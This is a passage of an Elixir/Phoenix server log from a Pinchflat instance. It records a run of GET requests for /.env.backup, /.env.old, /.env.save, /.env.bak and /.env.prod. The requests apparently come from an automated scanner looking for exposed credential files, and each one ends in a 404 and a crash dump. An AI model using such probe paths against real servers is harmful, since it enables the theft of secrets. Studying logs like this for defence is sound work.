:request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162655.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 38744}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162655.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 38744}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162656.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/.env.backup", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request- (truncated) 17:50:04.707 [info] GET /.env.old 17:50:04.708 [debug] QUERY OK source="settings" db=0.2ms idle=1202.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:04.708 [debug] QUERY OK source="settings" db=0.1ms idle=1202.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:04.708 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:04.708 [error] #PID<0.162658.0> running PinchflatWeb.Endpoint (connection #PID<0.162657.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /.env.old ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162657.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 38748}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162658.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/.env.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dHKLHuxBfY_EAFn-h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162657.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 38748}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162657.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 38748}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162658.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/.env.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dHKLHuxBf (truncated) 17:50:05.309 [info] GET /.env.save 17:50:05.310 [debug] QUERY OK source="settings" db=0.1ms idle=601.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:05.310 [debug] QUERY OK source="settings" db=0.1ms idle=601.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:05.310 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:05.310 [error] #PID<0.162660.0> running PinchflatWeb.Endpoint (connection #PID<0.162659.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /.env.save ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162659.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42620}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162660.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/.env.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dHMap1-uP7f0ABvEk"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162659.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42620}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162659.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42620}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162660.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/.env.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dHM (truncated) 17:50:05.741 [info] GET /.env.bak 17:50:05.741 [debug] QUERY OK source="settings" db=0.2ms idle=458.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:05.742 [debug] QUERY OK source="settings" db=0.1ms idle=458.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:05.742 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:05.742 [error] #PID<0.162662.0> running PinchflatWeb.Endpoint (connection #PID<0.162661.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /.env.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162661.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42628}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162662.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/.env.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dHOBn3vrDHwcAFn_B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162661.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42628}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162661.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42628}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162662.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/.env.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dHOBn3vrD (truncated) 17:50:06.237 [info] GET /.env.prod 17:50:06.238 [debug] QUERY OK source="settings" db=0.3ms idle=937.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:06.238 [debug] QUERY OK source="settings" db=0.1ms idle=928.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:06.238 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:06.238 [error] #PID<0.162664.0> running PinchflatWeb.Endpoint (connection #PID<0.162663.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /.env.prod ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162663.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.prod", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 42634}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "130.12.180.126", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "130.12.180.126" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162664.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "130.12.180.126"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "130.12.180.126"} ], request_path: "/.env.prod", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dHP35qMz_ijEAFn_h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, 